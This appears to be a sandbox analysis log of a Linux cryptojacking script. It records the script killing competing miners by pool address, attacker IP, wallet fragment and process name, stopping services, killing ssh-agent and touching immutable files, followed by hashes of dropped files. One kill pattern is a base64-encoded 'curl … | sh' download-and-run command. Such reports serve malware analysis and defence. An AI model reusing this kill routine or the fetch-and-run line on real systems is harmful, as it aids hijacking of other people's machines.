/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1561
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1560
-
-
/bin/grepgrep curl2⤵PID:1559
-
-
/bin/grepgrep he.sh2⤵PID:1558
-
-
/bin/grepgrep -v grep2⤵PID:1557
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1556
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1567
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1566
-
-
/bin/grepgrep wget2⤵PID:1565
-
-
/bin/grepgrep miner.sh2⤵PID:1564
-
-
/bin/grepgrep -v grep2⤵PID:1563
-
-
/bin/psps aux2⤵PID:1562
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1573
-
-
/bin/grepgrep curl2⤵PID:1571
-
-
/bin/grepgrep miner.sh2⤵PID:1570
-
-
/bin/grepgrep -v grep2⤵PID:1569
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1568
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1579
-
-
/bin/grepgrep wget2⤵PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1578
-
-
/bin/grepgrep nullcrew2⤵PID:1576
-
-
/bin/grepgrep -v grep2⤵PID:1575
-
-
/bin/psps aux2⤵PID:1574
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1585
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1584
-
-
/bin/grepgrep curl2⤵PID:1583
-
-
/bin/grepgrep nullcrew2⤵PID:1582
-
-
/bin/grepgrep -v grep2⤵PID:1581
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1580
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1590
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1589
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1588
-
-
/bin/grepgrep -v grep2⤵PID:1587
-
-
/bin/psps aux2⤵PID:1586
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1595
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1594
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1593
-
-
/bin/grepgrep -v grep2⤵PID:1592
-
-
/bin/psps aux2⤵PID:1591
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1600
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1599
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1598
-
-
/bin/grepgrep -v grep2⤵PID:1597
-
-
/bin/psps aux2⤵PID:1596
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1605
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1604
-
-
/bin/grepgrep 144.217.45.452⤵PID:1603
-
-
/bin/grepgrep -v grep2⤵PID:1602
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1601
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1610
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1609
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1608
-
-
/bin/grepgrep -v grep2⤵PID:1607
-
-
/bin/psps aux2⤵PID:1606
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1615
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1614
-
-
/bin/grepgrep 176.31.6.162⤵PID:1613
-
-
/bin/grepgrep -v grep2⤵PID:1612
-
-
/bin/psps aux2⤵PID:1611
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1616
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1620
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1619
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1618
-
-
/bin/grepgrep -v grep2⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1625
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1624
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1623
-
-
/bin/grepgrep -v grep2⤵PID:1622
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1630
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1629
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵PID:1628
-
-
/bin/grepgrep -v grep2⤵PID:1627
-
-
/bin/psps auxf2⤵PID:1626
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1635
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1634
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1633
-
-
/bin/grepgrep -v grep2⤵PID:1632
-
-
/bin/psps auxf2⤵PID:1631
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1640
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1639
-
-
/bin/grepPID:1638
-
-
/bin/grepgrep -v grep2⤵PID:1637
-
-
/bin/psps auxf2⤵PID:1636
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1645
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1644
-
-
/bin/grepgrep monerohash.com2⤵PID:1643
-
-
/bin/grepgrep -v grep2⤵PID:1642
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1641
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1650
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1649
-
-
/bin/grepgrep /tmp/a7b104c2702⤵PID:1648
-
-
/bin/grepgrep -v grep2⤵PID:1647
-
-
/bin/psps auxf2⤵PID:1646
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1655
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1654
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1653
-
-
/bin/grepgrep -v grep2⤵PID:1652
-
-
/bin/psps auxf2⤵PID:1651
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1660
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1659
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1658
-
-
/bin/grepgrep -v grep2⤵PID:1657
-
-
/bin/psps auxf2⤵PID:1656
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1665
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1664
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1663
-
-
/bin/grepgrep -v grep2⤵PID:1662
-
-
/bin/psps auxf2⤵PID:1661
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1669
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1668
-
-
/bin/grepgrep -v grep2⤵PID:1667
-
-
/bin/psps auxf2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1675
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1674
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1673
-
-
/bin/grepgrep -v grep2⤵PID:1672
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1679
-
/usr/local/sbin/killkill -9 16773⤵PID:1680
-
-
/usr/local/bin/killkill -9 16773⤵PID:1680
-
-
/usr/sbin/killkill -9 16773⤵PID:1680
-
-
/usr/bin/killkill -9 16773⤵PID:1680
-
-
/sbin/killkill -9 16773⤵PID:1680
-
-
/bin/killkill -9 16773⤵PID:1680
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1678
-
-
/bin/grepgrep xiaoyao2⤵PID:1677
-
-
/bin/psps auxf2⤵PID:1676
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
/usr/local/sbin/killkill -9 16823⤵PID:1685
-
-
/usr/local/bin/killkill -9 16823⤵PID:1685
-
-
/usr/sbin/killkill -9 16823⤵PID:1685
-
-
/usr/bin/killkill -9 16823⤵PID:1685
-
-
/sbin/killkill -9 16823⤵PID:1685
-
-
/bin/killkill -9 16823⤵PID:1685
-
-
-
/bin/grepgrep xiaoxue2⤵PID:1682
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1683
-
-
/bin/psps auxf2⤵PID:1681
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1688
-
-
/bin/grepgrep 46.243.253.152⤵PID:1687
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1690
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1691
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1697
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1696
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1695
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1694
-
-
/bin/grepgrep 176.31.6.162⤵PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1703
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1702
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1701
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1700
-
-
/bin/grepgrep 108.174.197.762⤵PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1709
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1708
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1707
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1706
-
-
/bin/grepgrep 192.236.161.62⤵PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1715
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1714
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1713
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1712
-
-
/bin/grepgrep 88.99.242.922⤵PID:1711
-
-
/bin/systemctlsystemctl stop c3pool_miner.service2⤵
- Enumerates kernel/hardware configuration
PID:1716
-
-
/usr/bin/pkillpkill -f pastebin2⤵PID:1717
-
-
/usr/bin/pkillpkill -f ssh-agent2⤵PID:1718
-
-
/usr/bin/pkillpkill -f 185.193.127.1152⤵
- Reads runtime system information
PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1721
-
-
/usr/bin/pgreppgrep -f monerohash2⤵PID:1720
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1723
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1722
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1725
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1724
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1727
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵
- Reads CPU attributes
PID:1726
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1729
-
-
/usr/bin/pgreppgrep -f mixtape2⤵
- Reads runtime system information
PID:1728
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1731
-
-
/usr/bin/pgreppgrep -f addnj2⤵
- Reads CPU attributes
PID:1730
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1733
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵
- Reads CPU attributes
PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1735
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1734
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1737
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1736
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1739
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1738
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1741
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵
- Reads CPU attributes
PID:1740
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1743
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵
- Reads CPU attributes
PID:1742
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1745
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵PID:1744
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1747
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1746
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1749
-
-
/usr/bin/pgreppgrep -f stratum2⤵
- Reads runtime system information
PID:1748
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1751
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1750
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1753
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1752
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1755
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1754
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1757
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵PID:1756
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1759
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵PID:1758
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1761
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵
- Reads CPU attributes
PID:1760
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1763
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵
- Reads CPU attributes
PID:1762
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1765
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵
- Reads CPU attributes
PID:1764
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1767
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads runtime system information
PID:1766
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1769
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1768
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1771
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1770
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1773
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1772
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1775
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵PID:1774
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1777
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1776
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1779
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵
- Reads CPU attributes
PID:1778
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1781
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵PID:1780
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1783
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵PID:1782
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1785
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1784
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1787
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵
- Reads CPU attributes
PID:1786
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1789
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵
- Reads CPU attributes
PID:1788
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1791
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵PID:1790
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1793
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵PID:1792
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1795
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵PID:1794
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1797
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵PID:1796
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1799
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1798
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1801
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1800
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1803
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1802
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1805
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1804
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1807
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵PID:1806
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1809
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1808
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1811
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵PID:1810
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1813
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵PID:1812
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1815
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵
- Reads CPU attributes
PID:1814
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1817
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1816
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1819
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵PID:1818
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1821
-
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads CPU attributes
PID:1820
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1823
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1822
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1825
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1824
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
- Reads runtime system information
PID:1827
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1826
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1829
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1828
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1831
-
-
/usr/bin/pgreppgrep -f sysstats2⤵
- Reads CPU attributes
PID:1830
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1833
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1832
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1835
-
-
/usr/bin/pgreppgrep -f watchbog2⤵
- Reads CPU attributes
PID:1834
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1837
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵
- Reads CPU attributes
PID:1836
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵PID:1838
-
-
/usr/bin/pkillpkill -f Loopback2⤵PID:1839
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1840
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1841
-
-
/usr/bin/pkillpkill -f stratum2⤵PID:1842
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1843
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1844
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1845
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
5B
MD5727479ef7cedf30c03459bec7d87b0f0
SHA12082e7f715f058acab2398d25d135cf5f4c0ce41
SHA25629872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA5124cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba
-
Filesize
825B
MD5918e4925d29b2c1d75063fe508b9789e
SHA1042a9c0b7b6fcf6c386db57b849c267deb655277
SHA256ef1fa3f34120a8f6a68ae4051994ead3c43497721fac574b6d0dda5ec015d1c5
SHA512669849142474f79c2a42f8e867ec89a843b651a6540287b61bf29a1de4fd434d11a0292bf25b426a336382d47d00e4b74356036918fbf873b7c1fc9c49d6834a
-
Filesize
1KB
MD59d72f39a5b44cc26153baea78f68fb66
SHA17ff1db8aaa2c11e3014a3299949b8ee75a6289d7
SHA256e7914f7f1f749ceab4d7d25f403d069ef3e1d0fa54799ac1bac8df53be5bc389
SHA5124f105fae185385fff4210046de46476b426cad107b3eeedf7201fdcc089c35bd0d51eab8222521067418076cddbb64d3d5a3eaf89fa43f367d93ab1383f535f6
-
Filesize
247B
MD5301c37ae189aa0013341b07695be3811
SHA1cb6b124e50a4d44952267d1b358b2a5ac82f2c86
SHA256226442827c280781606f67a30f46bd431c2a3d597be9d5db06d77e42e17d913d
SHA512d7a5042703c210966a3f77320b893ecc1bae43710645bd1fb75a3c0f3dd3fc42bca4df3f4fcf0da087fd70a71c5124c2111b5e6070d7538754177536f901cc65
-
Filesize
247B
MD5a6d86a225a957c15e875be8bbfe4d67d
SHA1f9b82d9933f0c9c0d3969c80426739446322479e
SHA2568011a0b2248027c49bed04ff40fd96ad1e6e76267d1fb8e345745079325407a2
SHA5125ba109927258d5f800825c99399e485015848df2fc85ccc95fa624563a30ad23581310636dc61ef208ca4e0622b4ad2c00cb0cf54e48851d8cdfc8d73293bb15
-
Filesize
175B
MD575117b2dabc8acff7c7d73e731f16152
SHA1ae07bb00cf9804f420eb3e4240f7f972eae3f9b7
SHA256625b712848b8f3e7dd129867137d9c864cf816b1c9bef3b65756816bb8e40767
SHA5126409678589f1b8b7519826f1e53e90f96a607e76d805b94f746f9ecb2b25ff0f6af188dd774870230a3a9eb471bd4af161cd6a6abf9972521724c8c16507e14b
-
Filesize
247B
MD552f6ac7162ddd978cac332216fc5203a
SHA184910ea9f7e2fd4ae89a7c1c66c7f60dc67a1649
SHA256e0e600cba4155df7c0992a997bccf96d3743ed7062a3cbbcaf37c0ef66e17bc5
SHA51288e7a5bbcea48c738e8e7dc4f892b7ddde08fa28b2e60aa2259652191550893b66ba123b0c680d9476b111440b9b97e707156778c7fb70364d7298ebed4cb3f5
-
Filesize
247B
MD560f279cb47ec09bcf10fc93c3c9c66e0
SHA1d20a5ac50a584862cf46f9bab72b6c34d79edef6
SHA256817416de533b87bbdb15841630fe7e11ff71d70f40c4fdf0ed93386b38a3e136
SHA512f813e11c44b12509eb9603aee88b10702e1180b9bb29143e94a6e976e4e799768e2fed45aed69b63cd3b43d8c303dea458e997c6d4bdec4087f161e34c556fea
-
Filesize
247B
MD5e48c10ac2d899c548e12832204e740fb
SHA1e442743ab4831d43c8c22251c4ff5b4ff307f427
SHA25621670559b8f4c4b4b2c0f2b4f8b6a3aa395e8439bb3080c24859106b68b2e3f0
SHA51213169c17220704c33e82fb1f0f51c51b1afc806b33dae72ab8e88a3de8087ec4155ac80da005aa21b5cbb90348d73bd1fb566494333c3de67f753f58b7dbd611
-
Filesize
247B
MD555c881dc1e4f7aafe88ff6396b33e46b
SHA1050a8a922737e1bd7f7ea3948aa2db39e940fe44
SHA2562482a4f31f939a7ce851f212c9ddbdd3af001fe4aafebc5ef4e32c5a70644cf3
SHA51217dbce6d6d2e4e9d2170e8d74280278394b5dc484de298a281b85591f2f64c63ca39f6a05b72de94e4f815551dc499c3bf184d8033186271a2cbc8fed5e2acb8
-
Filesize
247B
MD59f2400cb0ba38c2c55f89337d495d58e
SHA133ac4df717de58cb5b2ecb1ec79078afa4ccd531
SHA25661985a2e959635ee5e7d7d193b9fa7bf9536ed7057a074a445ddf405b6e1c316
SHA512c68e597bb571e44dfe57f90fd4239a27446c808414c0bbde137b03a058da647e066080a407295598aaa36c420d2b9bb39f4d4bfaeab97befd9c0c279ea0d3e17
-
Filesize
247B
MD5dd164b674485ba720374c41a81166977
SHA15e9d5bd2edc5b76858836547d745edb55bfd52ff
SHA2560aee395c056260d9fdb1e39120de92041a2fd297cf04f40eae9a54821329e3b5
SHA5123b81d1708b96f9947956e76fb5c51a0122b4abc13d31befc7c57a4ebe680460f8ffbce43603ba834e7e0cd61c89a35380bb1d7aac1ced9bf4147bc2b95267559
-
Filesize
175B
MD563ab92b13bdec84a562d3114cf6fb304
SHA11410bf1292e11c45afc024bf3391d825117a26ee
SHA256959d08ce3ea669bd78dfb08c0092634f78602740ffcdb1a5ce478cb2147835e8
SHA512028d3bd19b53a1b211f3475c859070489cc4d5f76e10b28486f591deed1189da987fd5a9e92c51e2343fc882c82861371fcc2636bbfb5090bf72e015810d86a3
-
Filesize
128B
MD522ee8dea99c384048cc982d6ed512602
SHA1a9fcbe87f570b3c2bb1fe7214880e1ec0640516b
SHA256c75058a334bd76097f0058003b8deed3ec43617435bd4a3db0b88bb87819b63d
SHA512a1bec40efb8cfc4b44f2040d26c13b5b8f8d8ef05094a89e263a2ffb23bbab46aec7a1e552497a812d4cb30701979e1c414d4ce62a35459877a2d691b09d921e
-
Filesize
34B
MD5d7d96d63d643a4ce3e408eba7dfcedc5
SHA1c53607f95c5c57beafc1d8266646797a035f76ea
SHA25621db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159
SHA512703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3
-
Filesize
146B
MD533823cd27ac3ac19553e53e7453a5948
SHA149280011d4c4a39b3243f1df3b2c5ce9d57dff6f
SHA256b43b0dac312f43be0a741f0264aa7cac084d04c69adaf72f90fac4f576fced12
SHA512e3524cf3376a650b5e953267958757566ba5e8063860f6ee75b9a7acc3d49aeefeccde3e33e4df895d2656df5b9d0f6c1467a4de74504ec030c342d035372b16
-
Filesize
915B
MD57aba8767240986e2aada26f2db8f12e0
SHA1a00554321fced21a3569067e49d36af6fb1821d2
SHA256af2e9a2bc47f07fcd7a3a553594314ddbeb898ed98e60781b9e5e8c4c2d283ce
SHA5127e4368f0fe00d9b3834765e59f52c245567c8a6619f8f9f01fd4aa435e06c81570d608888d1d8f82b1dc60d08ec8fbef9c71bf1ccb7da460f0d5e113397c66e2
-
Filesize
915B
MD556dc01d76b29b8a2877e61da486540c7
SHA189ce8ad899d505f5b24ae0824c07de86ab4b4036
SHA25684875bd16eb2eada20da4fb29d53894fbfec9316c09a62bf2b27b0c908eb6bea
SHA512cbf376312c6eb3627028983514a58fb375db8183f8f8fb2839a12b9dda706c8ea7da94bd73dfa9189640c0d41b15dccd3ae44a0893876c5dd88c57d519cce306
-
Filesize
288B
MD5c55b897ce0143b6ed36ffc59870e24cf
SHA1a5ec6ae7fbad689e6ee86e21ac85eed8ccd920dc
SHA256e1457d5e6e7d04b2ca4a97a92f09c213cb7bd0702739a7abcf02dfaed897ce85
SHA51246b9bbfa34821eacc4d1255c5f161b4325992403362cdbc0bbf939c8029817c6b3522cd854144c3e180a75d1edbce19b736f187bb866294ec4364e92543ce514
-
Filesize
89B
MD51eb42297e4ddd4d89e32061af34e43fd
SHA1c1f56a9ffdcc91e1e8cb5c975a0d6473b3ce1624
SHA25634d21a083ed38e320d60304f7e25e2cdaa2287391b048480bfa11f25d845a548
